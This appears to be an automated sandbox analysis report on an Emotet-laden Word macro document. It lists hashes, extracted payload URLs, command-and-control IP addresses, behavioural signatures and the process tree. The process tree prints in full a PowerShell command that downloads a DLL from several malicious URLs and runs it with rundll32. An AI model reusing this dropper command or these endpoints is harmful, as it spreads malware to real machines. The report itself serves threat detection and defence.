Analysis
-
max time kernel
146s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
16-04-2022 05:40
Static task
static1
Behavioral task
behavioral1
Sample
hcnpldfh.docm
Resource
win7-20220414-en
General
-
Target
hcnpldfh.docm
-
Size
140KB
-
MD5
391dca4cf91ae12aa1b5ac9d0ac3ec41
-
SHA1
47cfcf587d838f68a8f8df53ea3afae475436992
-
SHA256
06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
-
SHA512
de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41
Malware Config
Extracted
https://evgeniys.ru/sap-logs/D6/
http://crownadvertising.ca/wp-includes/OxiAACCoic/
https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
http://immoinvest.com.br/blog_old/wp-admin/luoT/
https://yoho.love/wp-content/e4laFBDXIvYT6O/
https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
https://www.pasionportufuturo.pe/wp-content/XUBS/
Extracted
emotet
Epoch4
91.200.186.228:443
191.252.196.221:8080
94.177.248.64:443
66.42.55.5:7080
103.8.26.103:8080
185.184.25.237:8080
103.8.26.102:8080
178.79.147.66:8080
58.227.42.236:80
45.118.135.203:7080
103.75.201.2:443
195.154.133.20:443
45.142.114.231:8080
212.237.5.209:443
207.38.84.195:8080
104.251.214.46:8080
212.237.17.99:8080
212.237.56.116:7080
216.158.226.206:443
110.232.117.186:8080
158.69.222.101:443
107.182.225.142:8080
176.104.106.96:8080
81.0.236.90:443
50.116.54.215:443
138.185.72.26:8080
51.68.175.8:8080
210.57.217.132:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2648 4684 cmd.exe WINWORD.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
-
Blocklisted process makes network request 30 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 3464 powershell.exe 12 3464 powershell.exe 14 3464 powershell.exe 16 3464 powershell.exe 18 3464 powershell.exe 19 3464 powershell.exe 23 3464 powershell.exe 25 3464 powershell.exe 27 3464 powershell.exe 28 3464 powershell.exe 30 3464 powershell.exe 33 3464 powershell.exe 34 3464 powershell.exe 35 3464 powershell.exe 38 3464 powershell.exe 39 3464 powershell.exe 41 3464 powershell.exe 43 3464 powershell.exe 45 3464 powershell.exe 48 3464 powershell.exe 49 564 rundll32.exe 58 564 rundll32.exe 59 564 rundll32.exe 60 564 rundll32.exe 61 564 rundll32.exe 63 564 rundll32.exe 65 564 rundll32.exe 66 564 rundll32.exe 67 564 rundll32.exe 68 564 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 4 IoCs
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exepid process 1744 rundll32.exe 4376 rundll32.exe 208 rundll32.exe 564 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmx rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4684 WINWORD.EXE 4684 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exerundll32.exepid process 3464 powershell.exe 3464 powershell.exe 564 rundll32.exe 564 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3464 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4684 WINWORD.EXE 4684 WINWORD.EXE 4684 WINWORD.EXE 4684 WINWORD.EXE 4684 WINWORD.EXE 4684 WINWORD.EXE 4684 WINWORD.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 4684 wrote to memory of 2648 4684 WINWORD.EXE cmd.exe PID 4684 wrote to memory of 2648 4684 WINWORD.EXE cmd.exe PID 2648 wrote to memory of 3464 2648 cmd.exe powershell.exe PID 2648 wrote to memory of 3464 2648 cmd.exe powershell.exe PID 3464 wrote to memory of 1744 3464 powershell.exe rundll32.exe PID 3464 wrote to memory of 1744 3464 powershell.exe rundll32.exe PID 3464 wrote to memory of 1744 3464 powershell.exe rundll32.exe PID 1744 wrote to memory of 4376 1744 rundll32.exe rundll32.exe PID 1744 wrote to memory of 4376 1744 rundll32.exe rundll32.exe PID 1744 wrote to memory of 4376 1744 rundll32.exe rundll32.exe PID 4376 wrote to memory of 208 4376 rundll32.exe rundll32.exe PID 4376 wrote to memory of 208 4376 rundll32.exe rundll32.exe PID 4376 wrote to memory of 208 4376 rundll32.exe rundll32.exe PID 208 wrote to memory of 564 208 rundll32.exe rundll32.exe PID 208 wrote to memory of 564 208 rundll32.exe rundll32.exe PID 208 wrote to memory of 564 208 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\hcnpldfh.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exe"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\1016556424.dll,f16932732544⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\1016556424.dll",Control_RunDLL5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmx",qFBbXZKpAC6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qmspsbjzisipwes\irrtauralv.mmx",Control_RunDLL7⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\1016556424.dllFilesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
-
C:\ProgramData\1016556424.dllFilesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
-
C:\ProgramData\1016556424.dllFilesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
-
C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmxFilesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
-
C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmxFilesize
252KB
MD503cf2b47f1e3c28f53d18d95aacbe545
SHA17ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4
SHA256338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149
SHA512736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55
-
memory/208-149-0x0000000000000000-mapping.dmp
-
memory/564-151-0x0000000000000000-mapping.dmp
-
memory/564-153-0x0000000010000000-0x0000000010028000-memory.dmpFilesize
160KB
-
memory/1744-147-0x0000000010000000-0x0000000010028000-memory.dmpFilesize
160KB
-
memory/1744-142-0x0000000000000000-mapping.dmp
-
memory/2648-137-0x0000000000000000-mapping.dmp
-
memory/3464-139-0x000001E1885C0000-0x000001E1885E2000-memory.dmpFilesize
136KB
-
memory/3464-140-0x00007FFE02440000-0x00007FFE02F01000-memory.dmpFilesize
10.8MB
-
memory/3464-141-0x000001E1A18D0000-0x000001E1A2076000-memory.dmpFilesize
7.6MB
-
memory/3464-138-0x0000000000000000-mapping.dmp
-
memory/4376-148-0x0000000010000000-0x0000000010028000-memory.dmpFilesize
160KB
-
memory/4376-145-0x0000000000000000-mapping.dmp
-
memory/4684-155-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4684-158-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4684-133-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4684-132-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4684-130-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4684-131-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4684-135-0x00007FFDEADC0000-0x00007FFDEADD0000-memory.dmpFilesize
64KB
-
memory/4684-156-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4684-136-0x00007FFDEADC0000-0x00007FFDEADD0000-memory.dmpFilesize
64KB
-
memory/4684-157-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB
-
memory/4684-134-0x00007FFDED470000-0x00007FFDED480000-memory.dmpFilesize
64KB